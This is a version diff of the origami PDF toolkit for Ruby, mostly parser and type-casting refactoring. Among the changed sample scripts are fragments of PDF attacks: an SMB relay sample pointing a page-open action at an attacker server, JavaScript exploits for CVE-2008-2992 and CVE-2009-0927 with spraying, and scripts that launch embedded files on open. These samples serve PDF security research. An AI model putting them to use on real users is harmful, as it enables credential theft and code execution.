origami 1.2.5 → 1.2.6

Sign up to get free protection for your applications and to get access to all the features.
Files changed (54) hide show
  1. checksums.yaml +7 -0
  2. data/bin/gui/config.rb +0 -4
  3. data/bin/gui/imgview.rb +2 -2
  4. data/bin/gui/menu.rb +11 -3
  5. data/bin/gui/treeview.rb +9 -3
  6. data/bin/pdfexplode +220 -0
  7. data/bin/pdfextract +3 -0
  8. data/lib/origami/acroform.rb +2 -2
  9. data/lib/origami/actions.rb +62 -35
  10. data/lib/origami/annotations.rb +3 -2
  11. data/lib/origami/array.rb +27 -4
  12. data/lib/origami/boolean.rb +2 -2
  13. data/lib/origami/catalog.rb +45 -45
  14. data/lib/origami/dictionary.rb +87 -14
  15. data/lib/origami/encryption.rb +46 -24
  16. data/lib/origami/file.rb +1 -2
  17. data/lib/origami/filters/ccitt.rb +118 -66
  18. data/lib/origami/filters/flate.rb +5 -1
  19. data/lib/origami/filters.rb +84 -2
  20. data/lib/origami/font.rb +71 -71
  21. data/lib/origami/graphics/patterns.rb +2 -1
  22. data/lib/origami/graphics/xobject.rb +123 -1
  23. data/lib/origami/javascript.rb +2 -1
  24. data/lib/origami/name.rb +2 -2
  25. data/lib/origami/null.rb +2 -2
  26. data/lib/origami/numeric.rb +11 -3
  27. data/lib/origami/object.rb +37 -16
  28. data/lib/origami/page.rb +135 -71
  29. data/lib/origami/parser.rb +11 -4
  30. data/lib/origami/parsers/pdf/linear.rb +1 -0
  31. data/lib/origami/parsers/pdf.rb +10 -0
  32. data/lib/origami/pdf.rb +10 -70
  33. data/lib/origami/reference.rb +4 -5
  34. data/lib/origami/signature.rb +22 -8
  35. data/lib/origami/stream.rb +41 -20
  36. data/lib/origami/string.rb +15 -6
  37. data/lib/origami/trailer.rb +9 -5
  38. data/lib/origami.rb +19 -0
  39. data/samples/actions/loop/loopgoto.rb +1 -1
  40. data/samples/actions/loop/loopnamed.rb +2 -2
  41. data/samples/actions/named/named.rb +1 -1
  42. data/samples/actions/samba/smbrelay.rb +1 -1
  43. data/samples/actions/triggerevents/trigger.rb +13 -13
  44. data/samples/actions/webbug/webbug-browser.rb +1 -1
  45. data/samples/actions/webbug/webbug-js.rb +1 -1
  46. data/samples/actions/webbug/webbug-reader.rb +1 -1
  47. data/samples/attachments/attach.rb +2 -2
  48. data/samples/exploits/cve-2008-2992-utilprintf.rb +1 -1
  49. data/samples/exploits/cve-2009-0927-geticon.rb +1 -1
  50. data/samples/exploits/exploit_customdictopen.rb +2 -2
  51. data/samples/exploits/getannots.rb +1 -1
  52. data/samples/javascript/js.rb +2 -2
  53. data/test/ts_pdf.rb +23 -23
  54. metadata +71 -86
@@ -78,6 +78,7 @@ module Origami
78
78
 
79
79
  parse_finalize(pdf)
80
80
  end
81
+
81
82
  end
82
83
  end
83
84
  end
@@ -71,6 +71,16 @@ module Origami
71
71
  def parse_finalize(pdf) #:nodoc:
72
72
  warn "This file has been linearized." if pdf.is_linearized?
73
73
 
74
+ if Origami::OPTIONS[:enable_type_propagation]
75
+ info "...Propagating types..."
76
+ @deferred_casts.each_pair do |ref, type|
77
+ type = [ type ] unless type.is_a?(::Array)
78
+ type.each do |hint|
79
+ pdf.cast_object(ref, hint)
80
+ end
81
+ end
82
+ end
83
+
74
84
  #
75
85
  # Decrypt encrypted file contents
76
86
  #
data/lib/origami/pdf.rb CHANGED
@@ -65,75 +65,6 @@ require 'origami/parsers/pdf'
65
65
 
66
66
  module Origami
67
67
 
68
- VERSION = "1.2.5"
69
- REVISION = "$Revision: rev 167/, 2013/01/28 11:59:28 $" #:nodoc:
70
-
71
- #
72
- # Global options for Origami.
73
- #
74
- OPTIONS =
75
- {
76
- :enable_type_checking => true, # set to false to disable type consistency checks during compilation.
77
- :enable_type_guessing => true, # set to false to prevent the parser to guess the type of special dictionary and streams (not recommended).
78
- :use_openssl => true # set to false to use Origami crypto backend.
79
- }
80
-
81
- begin
82
- require 'openssl'
83
- OPTIONS[:use_openssl] = true
84
- rescue LoadError
85
- OPTIONS[:use_openssl] = false
86
- end
87
-
88
- DICT_SPECIAL_TYPES = #:nodoc:
89
- {
90
- :Catalog => Catalog,
91
- :Pages => PageTreeNode,
92
- :Page => Page,
93
- :Filespec => FileSpec,
94
- :Action => Action,
95
- :Font => Font,
96
- :FontDescriptor => FontDescriptor,
97
- :Encoding => Encoding,
98
- :Annot => Annotation,
99
- :Border => Annotation::BorderStyle,
100
- :Outlines => Outline,
101
- :OutputIntent => OutputIntent,
102
- :Sig => Signature::DigitalSignature,
103
- :SigRef => Signature::Reference,
104
- :SigFieldLock => Field::SignatureLock,
105
- :SV => Field::SignatureSeedValue,
106
- :SVCert => Field::CertificateSeedValue,
107
- :ExtGState => Graphics::ExtGState,
108
- :RichMediaSettings => Annotation::RichMedia::Settings,
109
- :RichMediaActivation => Annotation::RichMedia::Activation,
110
- :RichMediaDeactivation => Annotation::RichMedia::Deactivation,
111
- :RichMediaAnimation => Annotation::RichMedia::Animation,
112
- :RichMediaPresentation => Annotation::RichMedia::Presentation,
113
- :RichMediaWindow => Annotation::RichMedia::Window,
114
- :RichMediaPosition => Annotation::RichMedia::Position,
115
- :RichMediaContent => Annotation::RichMedia::Content,
116
- :RichMediaConfiguration => Annotation::RichMedia::Configuration,
117
- :RichMediaInstance => Annotation::RichMedia::Instance,
118
- :RichMediaParams => Annotation::RichMedia::Parameters,
119
- :CuePoint => Annotation::RichMedia::CuePoint
120
- }
121
-
122
- STM_SPECIAL_TYPES = #:nodoc:
123
- {
124
- :ObjStm => ObjectStream,
125
- :EmbeddedFile => EmbeddedFileStream,
126
- :Metadata => MetadataStream,
127
- :XRef => XRefStream,
128
- :"3D" => U3DStream
129
- }
130
-
131
- STM_XOBJ_SUBTYPES = #:nodoc:
132
- {
133
- :Image => Graphics::ImageXObject,
134
- :Form => Graphics::FormXObject
135
- }
136
-
137
68
  class InvalidPDFError < Exception #:nodoc:
138
69
  end
139
70
 
@@ -201,6 +132,7 @@ module Origami
201
132
  yield(pdf) if block_given?
202
133
  pdf.save(output, options)
203
134
  end
135
+ alias write create
204
136
 
205
137
  #
206
138
  # Deserializes a PDF dump.
@@ -305,7 +237,7 @@ module Origami
305
237
 
306
238
  self
307
239
  end
308
- alias saveas save
240
+ alias write save
309
241
 
310
242
  #
311
243
  # Saves the file up to given revision number.
@@ -680,6 +612,14 @@ module Origami
680
612
  end
681
613
 
682
614
  alias :[] :get_object
615
+
616
+ def cast_object(reference, type) #:nodoc:
617
+ @revisions.each do |rev|
618
+ if rev.body.include?(reference) and type < rev.body[reference].class
619
+ rev.body[reference] = rev.body[reference].cast_to(type)
620
+ end
621
+ end
622
+ end
683
623
 
684
624
  #
685
625
  # Returns a new number/generation for future object.
@@ -46,7 +46,7 @@ module Origami
46
46
  @refno, @refgen = refno, refgen
47
47
  end
48
48
 
49
- def self.parse(stream) #:nodoc:
49
+ def self.parse(stream, parser = nil) #:nodoc:
50
50
 
51
51
  offset = stream.pos
52
52
 
@@ -64,7 +64,6 @@ module Origami
64
64
  end
65
65
 
66
66
  def solve
67
-
68
67
  pdfdoc = self.pdf
69
68
 
70
69
  if pdfdoc.nil?
@@ -73,11 +72,11 @@ module Origami
73
72
 
74
73
  target = pdfdoc.get_object(self)
75
74
 
76
- if target.nil?
75
+ if target.nil? and not Origami::OPTIONS[:ignore_bad_references]
77
76
  raise InvalidReferenceError, "Cannot resolve reference : #{self.to_s}"
78
77
  end
79
78
 
80
- target
79
+ target or Null.new
81
80
  end
82
81
 
83
82
  def eql?(ref) #:nodoc
@@ -110,7 +109,7 @@ module Origami
110
109
  self
111
110
  end
112
111
 
113
- def real_type ; Reference end
112
+ def self.native_type ; Reference end
114
113
 
115
114
  end
116
115
 
@@ -23,7 +23,12 @@
23
23
 
24
24
  =end
25
25
 
26
- require 'openssl'
26
+ begin
27
+ require 'openssl' if Origami::OPTIONS[:use_openssl]
28
+ rescue LoadError
29
+ Origami::OPTIONS[:use_openssl] = false
30
+ end
31
+
27
32
  require 'digest/sha1'
28
33
 
29
34
  module Origami
@@ -40,6 +45,11 @@ module Origami
40
45
  # If no argument is passed, embedded certificates are treated as trusted.
41
46
  #
42
47
  def verify(options = {})
48
+
49
+ unless Origami::OPTIONS[:use_openssl]
50
+ fail "OpenSSL is not present or has been disabled."
51
+ end
52
+
43
53
  params =
44
54
  {
45
55
  :trusted => []
@@ -261,9 +271,13 @@ module Origami
261
271
  # Returns whether the document contains a digital signature.
262
272
  #
263
273
  def is_signed?
264
- not self.Catalog.AcroForm.nil? and
265
- self.Catalog.AcroForm.has_key?(:SigFlags) and
266
- (self.Catalog.AcroForm.SigFlags & InteractiveForm::SigFlags::SIGNATURESEXIST != 0)
274
+ begin
275
+ self.Catalog.AcroForm.is_a?(Dictionary) and
276
+ self.Catalog.AcroForm.has_key?(:SigFlags) and
277
+ (self.Catalog.AcroForm.SigFlags & InteractiveForm::SigFlags::SIGNATURESEXIST != 0)
278
+ rescue InvalidReferenceError
279
+ false
280
+ end
267
281
  end
268
282
 
269
283
  #
@@ -272,15 +286,15 @@ module Origami
272
286
  #
273
287
  def enable_usage_rights(cert, pkey, *rights)
274
288
 
289
+ unless Origami::OPTIONS[:use_openssl]
290
+ fail "OpenSSL is not present or has been disabled."
291
+ end
292
+
275
293
  signfield_size = lambda{|crt, key, ca|
276
294
  datatest = "abcdefghijklmnopqrstuvwxyz"
277
295
  OpenSSL::PKCS7.sign(crt, key, datatest, ca, OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY).to_der.size + 128
278
296
  }
279
297
 
280
- unless Origami::OPTIONS[:use_openssl]
281
- fail "OpenSSL is not present or has been disabled."
282
- end
283
-
284
298
  #
285
299
  # Load key pair
286
300
  #
@@ -44,6 +44,8 @@ module Origami
44
44
  @@regexp_open = Regexp.new(WHITESPACES + TOKENS.first)
45
45
  @@regexp_close = Regexp.new(TOKENS.last)
46
46
 
47
+ @@cast_fingerprints = {}
48
+
47
49
  #
48
50
  # Actually only 5 first ones are implemented, other ones are mainly about image data processing (JPEG, JPEG2000 ... )
49
51
  #
@@ -114,9 +116,9 @@ module Origami
114
116
  end
115
117
  end
116
118
 
117
- def self.parse(stream) #:nodoc:
119
+ def self.parse(stream, parser = nil) #:nodoc:
118
120
 
119
- dictionary = Dictionary.parse(stream)
121
+ dictionary = Dictionary.parse(stream, parser)
120
122
  return dictionary if not stream.skip(@@regexp_open)
121
123
 
122
124
  length = dictionary[:Length]
@@ -141,23 +143,7 @@ module Origami
141
143
 
142
144
  stm =
143
145
  if Origami::OPTIONS[:enable_type_guessing]
144
- type, subtype = dictionary[:Type], dictionary[:Subtype]
145
-
146
- if type.is_a?(Name)
147
- if STM_SPECIAL_TYPES.include?(type.value)
148
- STM_SPECIAL_TYPES[type.value].new("", dictionary.to_h)
149
- else
150
- if type == :XObject and subtype.is_a?(Name) and STM_XOBJ_SUBTYPES.include?(subtype.value)
151
- STM_XOBJ_SUBTYPES[subtype.value].new("", dictionary.to_h)
152
- else
153
- Stream.new('', dictionary.to_h)
154
- end
155
- end
156
-
157
- else
158
- Stream.new('', dictionary.to_h)
159
- end
160
-
146
+ self.guess_type(dictionary).new('', dictionary.to_h)
161
147
  else
162
148
  Stream.new('', dictionary.to_h)
163
149
  end
@@ -179,6 +165,28 @@ module Origami
179
165
  stm
180
166
  end
181
167
 
168
+ def self.add_type_info(typeclass, key, value) #:nodoc:
169
+ if not @@cast_fingerprints.has_key?(typeclass) and typeclass.superclass != Stream and
170
+ @@cast_fingerprints.has_key?(typeclass.superclass)
171
+ @@cast_fingerprints[typeclass] = @@cast_fingerprints[typeclass.superclass].dup
172
+ end
173
+
174
+ @@cast_fingerprints[typeclass] ||= {}
175
+ @@cast_fingerprints[typeclass][key.to_o] = value.to_o
176
+ end
177
+
178
+ def self.guess_type(hash) #:nodoc:
179
+ best_type = Stream
180
+
181
+ @@cast_fingerprints.each_pair do |typeclass, keys|
182
+ best_type = typeclass if keys.all? { |k,v|
183
+ hash.has_key?(k) and hash[k] == v
184
+ } and typeclass < best_type
185
+ end
186
+
187
+ best_type
188
+ end
189
+
182
190
  def set_predictor(predictor, colors = 1, bitspercomponent = 8, columns = 1)
183
191
 
184
192
  filters = self.Filter
@@ -201,6 +209,19 @@ module Origami
201
209
  self
202
210
  end
203
211
 
212
+ def cast_to(type)
213
+ super(type)
214
+
215
+ cast = type.new("", self.dictionary.to_h)
216
+ cast.rawdata = @rawdata.dup
217
+ cast.no, cast.generation = self.no, self.generation
218
+ cast.set_indirect(true)
219
+ cast.set_pdf(self.pdf)
220
+ cast.file_offset = self.file_offset
221
+
222
+ cast
223
+ end
224
+
204
225
  def value #:nodoc:
205
226
  self
206
227
  end
@@ -344,7 +365,7 @@ module Origami
344
365
  @dictionary.each_key(&b)
345
366
  end
346
367
 
347
- def real_type ; Stream end
368
+ def self.native_type ; Stream end
348
369
 
349
370
  private
350
371
 
@@ -114,12 +114,20 @@ module Origami
114
114
 
115
115
  end
116
116
 
117
- include Origami::Object
117
+ module ClassMethods #:nodoc:all
118
+ def native_type; Origami::String end
119
+ end
118
120
 
119
- attr_accessor :encoding
121
+ def self.included(receiver) #:nodoc:
122
+ receiver.extend(ClassMethods)
123
+ end
120
124
 
121
- def real_type ; Origami::String end
125
+ def self.native_type; Origami::String end #:nodoc:
122
126
 
127
+ include Origami::Object
128
+
129
+ attr_accessor :encoding
130
+
123
131
  def initialize(str) #:nodoc:
124
132
  infer_encoding
125
133
  super(str)
@@ -196,7 +204,7 @@ module Origami
196
204
  super(str)
197
205
  end
198
206
 
199
- def self.parse(stream) #:nodoc:
207
+ def self.parse(stream, parser = nil) #:nodoc:
200
208
 
201
209
  offset = stream.pos
202
210
 
@@ -233,6 +241,7 @@ module Origami
233
241
 
234
242
  to_str
235
243
  end
244
+
236
245
  end
237
246
 
238
247
  class InvalidByteStringObjectError < InvalidObjectError #:nodoc:
@@ -263,7 +272,7 @@ module Origami
263
272
  super(str)
264
273
  end
265
274
 
266
- def self.parse(stream) #:nodoc:
275
+ def self.parse(stream, parser = nil) #:nodoc:
267
276
 
268
277
  offset = stream.pos
269
278
 
@@ -385,7 +394,7 @@ module Origami
385
394
  super(date_str)
386
395
  end
387
396
 
388
- def self.parse(stream) #:nodoc:
397
+ def self.parse(stream, parser = nil) #:nodoc:
389
398
 
390
399
  dateReg = Regexp.new(REGEXP_TOKEN)
391
400
 
@@ -83,6 +83,10 @@ module Origami
83
83
  class InvalidTrailerError < Exception #:nodoc:
84
84
  end
85
85
 
86
+ # Forward declarations.
87
+ class Catalog < Dictionary; end
88
+ class Metadata < Dictionary; end
89
+
86
90
  #
87
91
  # Class representing a PDF file Trailer.
88
92
  #
@@ -103,9 +107,9 @@ module Origami
103
107
 
104
108
  field :Size, :Type => Integer, :Required => true
105
109
  field :Prev, :Type => Integer
106
- field :Root, :Type => Dictionary, :Required => true
110
+ field :Root, :Type => Catalog, :Required => true
107
111
  field :Encrypt, :Type => Dictionary
108
- field :Info, :Type => Dictionary
112
+ field :Info, :Type => Metadata
109
113
  field :ID, :Type => Array
110
114
  field :XRefStm, :Type => Integer
111
115
 
@@ -119,10 +123,10 @@ module Origami
119
123
  @startxref, self.dictionary = startxref, dictionary && Dictionary.new(dictionary)
120
124
  end
121
125
 
122
- def self.parse(stream) #:nodoc:
126
+ def self.parse(stream, parser = nil) #:nodoc:
123
127
 
124
128
  if stream.skip(@@regexp_open)
125
- dictionary = Dictionary.parse(stream)
129
+ dictionary = Dictionary.parse(stream, parser)
126
130
  else
127
131
  dictionary = nil
128
132
  end
@@ -152,7 +156,7 @@ module Origami
152
156
  dict.parent = self if dict
153
157
  @dictionary = dict
154
158
  end
155
-
159
+
156
160
  def has_dictionary?
157
161
  not @dictionary.nil?
158
162
  end
data/lib/origami.rb CHANGED
@@ -30,6 +30,25 @@ if RUBY_VERSION < '1.9'
30
30
  end
31
31
  end
32
32
 
33
+ module Origami
34
+ VERSION = "1.2.6"
35
+ REVISION = "$Revision$" #:nodoc:
36
+
37
+ #
38
+ # Global
39
+ # options for Origami.
40
+ #
41
+ OPTIONS =
42
+ {
43
+ :enable_type_checking => true, # set to false to disable type consistency checks during compilation.
44
+ :enable_type_guessing => true, # set to false to prevent the parser to guess the type of special dictionary and streams (not recommended).
45
+ :enable_type_propagation => true, # set to false to prevent the parser to propagate type from parents to children.
46
+ :use_openssl => true, # set to false to use Origami crypto backend.
47
+ :ignore_bad_references => false, # set to interpret invalid references as Null objects, instead of raising an exception.
48
+ :ignore_zlib_errors => false, # set to true to ignore exceptions on invalid Flate streams.
49
+ }
50
+ end
51
+
33
52
  require 'origami/pdf'
34
53
  require 'origami/extensions/fdf'
35
54
  require 'origami/extensions/ppklite'
@@ -15,7 +15,7 @@ index = 1
15
15
  pages = pdf.pages
16
16
 
17
17
  pages.each do |page|
18
- page.onOpen(Action::GoTo.new(Destination::GlobalFit.new pages[index % pages.size].reference))
18
+ page.onOpen Action::GoTo Destination::GlobalFit.new pages[index % pages.size]
19
19
 
20
20
  index = index + 1
21
21
  end
@@ -14,8 +14,8 @@ pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
14
14
  pages = pdf.pages
15
15
 
16
16
  pages.each do |page|
17
- page.onOpen(Action::Named.new(Action::Named::NEXTPAGE)) unless page == pages.last
17
+ page.onOpen Action::Named::NEXTPAGE unless page == pages.last
18
18
  end
19
- pages.last.onOpen(Action::Named.new(Action::Named::FIRSTPAGE))
19
+ pages.last.onOpen Action::Named::FIRSTPAGE
20
20
 
21
21
  pdf.save("loopnamed_sample.pdf")
@@ -24,7 +24,7 @@ contents.write OUTPUTFILE,
24
24
  page.Contents = contents
25
25
  pdf.append_page(page)
26
26
 
27
- pdf.onDocumentOpen Action::Named.new(Action::Named::PRINT)
27
+ pdf.onDocumentOpen Action::Named::PRINT
28
28
 
29
29
  pdf.save(OUTPUTFILE)
30
30
 
@@ -19,7 +19,7 @@ ATTACKER_SERVER = "localhost"
19
19
  pdf = PDF.read(ARGV[0])
20
20
 
21
21
  dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf")
22
- gotor = Action::GoToR.new(dst, Destination::GlobalFit.new(0), true)
22
+ gotor = Action::GoToR[dst, Destination::GlobalFit.new(0), true]
23
23
  pdf.pages.first.onOpen(gotor)
24
24
 
25
25
  pdf.save("#{File.basename($0, '.rb')}.pdf")
@@ -23,19 +23,19 @@ contents.write "Pass your mouse over the yellow square",
23
23
 
24
24
  page.setContents( contents )
25
25
 
26
- onpageopen = Action::JavaScript.new "app.alert('Page Opened');"
27
- onpageclose = Action::JavaScript.new "app.alert('Page Closed');"
28
- ondocumentopen = Action::JavaScript.new "app.alert('Document is opened');"
29
- ondocumentclose = Action::JavaScript.new "app.alert('Document is closing');"
30
- onmouseover =Action::JavaScript.new "app.alert('Mouse over');"
31
- onmouseleft =Action::JavaScript.new "app.alert('Mouse left');"
32
- onmousedown = Action::JavaScript.new "app.alert('Mouse down');"
33
- onmouseup = Action::JavaScript.new "app.alert('Mouse up');"
34
- onparentopen = Action::JavaScript.new "app.alert('Parent page has opened');"
35
- onparentclose = Action::JavaScript.new "app.alert('Parent page has closed');"
36
- onparentvisible = Action::JavaScript.new "app.alert('Parent page is visible');"
37
- onparentinvisible = Action::JavaScript.new "app.alert('Parent page is no more visible');"
38
- namedscript = Action::JavaScript.new "app.alert('Names directory script');"
26
+ onpageopen = Action::JavaScript "app.alert('Page Opened');"
27
+ onpageclose = Action::JavaScript "app.alert('Page Closed');"
28
+ ondocumentopen = Action::JavaScript "app.alert('Document is opened');"
29
+ ondocumentclose = Action::JavaScript "app.alert('Document is closing');"
30
+ onmouseover = Action::JavaScript "app.alert('Mouse over');"
31
+ onmouseleft = Action::JavaScript "app.alert('Mouse left');"
32
+ onmousedown = Action::JavaScript "app.alert('Mouse down');"
33
+ onmouseup = Action::JavaScript "app.alert('Mouse up');"
34
+ onparentopen = Action::JavaScript "app.alert('Parent page has opened');"
35
+ onparentclose = Action::JavaScript "app.alert('Parent page has closed');"
36
+ onparentvisible = Action::JavaScript "app.alert('Parent page is visible');"
37
+ onparentinvisible = Action::JavaScript "app.alert('Parent page is no more visible');"
38
+ namedscript = Action::JavaScript "app.alert('Names directory script');"
39
39
 
40
40
  pdf.onDocumentOpen(ondocumentopen)
41
41
  pdf.onDocumentClose(ondocumentclose)
@@ -61,7 +61,7 @@ page = Page.new.setContents( contents )
61
61
  pdf.append_page(page)
62
62
 
63
63
  # Starting action
64
- pdf.onDocumentOpen Action::URI.new(URL)
64
+ pdf.onDocumentOpen Action::URI[URL]
65
65
 
66
66
  pdf.save(OUTPUTFILE)
67
67
 
@@ -56,7 +56,7 @@ page.Contents = contents
56
56
  pdf.append_page(page)
57
57
 
58
58
  # Create a new action based on the script, compressed with zlib
59
- jsaction = Action::JavaScript.new( Stream.new(jscript,:Filter => :FlateDecode) )
59
+ jsaction = Action::JavaScript Stream.new(jscript,:Filter => :FlateDecode)
60
60
 
61
61
  # Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied).
62
62
  pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction)
@@ -78,7 +78,7 @@ pdf.append_page( page )
78
78
  flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD
79
79
 
80
80
  # Sends the form at the document opening.
81
- pdf.onDocumentOpen Action::SubmitForm.new(URL, [], flags)
81
+ pdf.onDocumentOpen Action::SubmitForm[URL, [], flags]
82
82
 
83
83
  # Comments:
84
84
  # - any port can be specified http://url:1234
@@ -29,10 +29,10 @@ contents.write "File attachment sample",
29
29
 
30
30
  pdf.append_page Page.new.setContents(contents)
31
31
 
32
- js = <<JS
32
+ pdf.onDocumentOpen Action::JavaScript <<JS
33
33
  this.exportDataObject({cName:"README.txt", nLaunch:2});
34
34
  JS
35
- pdf.onDocumentOpen Action::JavaScript.new(js)
35
+
36
36
 
37
37
  pdf.save(OUTPUTFILE)
38
38
 
@@ -81,7 +81,7 @@ util.printf("%45000f",num);
81
81
 
82
82
  |
83
83
 
84
- exploit = Action::JavaScript.new(Stream.new(jscript))
84
+ exploit = Action::JavaScript Stream.new(jscript)
85
85
  pdf.onDocumentOpen( exploit )
86
86
  pdf.save("#{File.basename($0, '.rb')}.pdf")
87
87
 
@@ -58,7 +58,7 @@ Collab.getIcon(buffer+'_N.bundle');
58
58
  spary();
59
59
  |
60
60
 
61
- exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
61
+ exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
62
62
  pdf.pages.first.onOpen( exploit )
63
63
 
64
64
  pdf.save("#{File.basename($0, '.rb')}.pdf")
@@ -47,8 +47,8 @@ function start()
47
47
  //# milw0rm.com [2009-04-29]
48
48
  |
49
49
 
50
- #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
51
- exploit = Action::JavaScript.new(Stream.new(jscript))
50
+ #exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
51
+ exploit = Action::JavaScript Stream.new(jscript)
52
52
  pdf.onDocumentOpen( exploit )
53
53
 
54
54
  pdf.save("#{File.basename($0, '.rb')}.pdf")
@@ -55,7 +55,7 @@ function start()
55
55
  |
56
56
 
57
57
  #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
58
- exploit = Action::JavaScript.new(Stream.new(jscript))
58
+ exploit = Action::JavaScript Stream.new(jscript)
59
59
  pdf.onDocumentOpen( exploit )
60
60
 
61
61
 
@@ -23,12 +23,12 @@ if defined?(PDF::JavaScript::Engine)
23
23
  )
24
24
 
25
25
  # Example of JS payload
26
- js = <<-JS
26
+ pdf.onDocumentOpen Action::JavaScript <<-JS
27
27
  if ( app.viewerVersion == 8 )
28
28
  eval("this.exportDataObject({cName:'README.txt', nLaunch:2});");
29
29
  this.closeDoc();
30
30
  JS
31
- pdf.onDocumentOpen Action::JavaScript.new(js)
31
+
32
32
 
33
33
  # Tweaking the engine options
34
34
  pdf.js_engine.options[:log_method_calls] = true